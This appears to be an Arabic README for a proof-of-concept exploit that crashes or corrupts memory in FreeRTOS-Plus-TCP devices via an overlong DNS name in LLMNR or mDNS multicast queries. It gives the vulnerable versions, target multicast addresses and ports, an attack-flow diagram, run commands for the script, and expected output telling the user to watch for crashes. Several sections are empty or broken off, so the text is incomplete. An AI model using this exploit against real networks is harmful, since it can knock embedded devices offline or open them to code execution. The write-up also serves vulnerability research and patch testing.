
محفّز لإفساد الذاكرة عن بُعد / حجب الخدمة (DoS) / تنفيذ كود عن بُعد (RCE) محتمل في FreeRTOS-Plus-TCP عند معالجة أسماء DNS طويلة بشكل مفرط في استعلامات LLMNR أو mDNS (مخطط تخصيص المخزن المؤقت 1).
مؤلف الاستغلال: Mohammed Idrees Banyamer
البلد: الأردن
Instagram: @banyamer_security
التاريخ: 26 ديسمبر 2025
يرسل إثبات المفهوم (PoC) هذا حزمة UDP بثّ متعدد (multicast) مصممة بعناية تحتوي على اسم DNS طويل بشكل مفرط لتحفيز كتابة خارج الحدود (CWE-787) في الإصدارات المعرّضة للخطر من FreeRTOS-Plus-TCP (v2.3.4 – v4.3.1 مع LLMNR/mDNS + المخطط 1).
الأعراض الشائعة على الأجهزة المتأثرة:
الأجهزة المتأثرة (أمثلة)
تم الإصلاح في: FreeRTOS-Plus-TCP 4.3.2 (تمت إضافة تحقق صارم من الطول)
المراجع
graph TD
A[Attacker on same LAN] -->|"1. Craft oversized DNS name"| B["`UDP Packet
long QNAME (~500+ bytes)`"]
B -->|"2. Send to multicast"| C{Target Protocol}
C -->|LLMNR| D[224.0.0.252:5355]
C -->|mDNS| E[224.0.0.251:5353]
D --> F["`FreeRTOS-Plus-TCP
LLMNR/mDNS Parser`"]
E --> F
F -->|"No length check + Scheme 1"| G[Fixed-size buffer overflow]
G --> H["`Out-of-bounds Write
CWE-787`"]
H --> I{Outcome}
I -->|"Common"| J[Crash / Reboot / Watchdog]
I -->|"Memory layout dependent"| K[Potential RCE / Code Execution]
I -->|"Data after buffer"| L[Memory corruption / Info leak]
socket, sys) – لا حزم خارجية# LLMNR attack (default multicast)
python3 exploit.py LLMNR
# mDNS attack
python3 exploit.py mDNS
# Custom multicast IP (rarely needed)
python3 exploit.py LLMNR 224.0.0.252
python3 exploit.py mDNS 224.0.0.251
المخرجات المتوقعة:
[+] Sending 523-byte LLMNR query → target 224.0.0.252:5355
[+] Sent. Watch for immediate crash, reboot, LED blink loop, or freeze.
هذا الكود مُقدَّم لأغراض تعليمية وبحثية ولتوضيح الثغرات الأمنية فقط.
لا تستخدم هذا الاستغلال ضد أي نظام أو شبكة دون إذن كتابي صريح من المالك.
قد ينتهك الاستخدام غير المصرح به القوانين (قوانين الاحتيال وإساءة استخدام الحاسوب، إلخ).
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر.
رخصة MIT – راجع ملف LICENSE (أو أضفه إذا كان مفقودًا).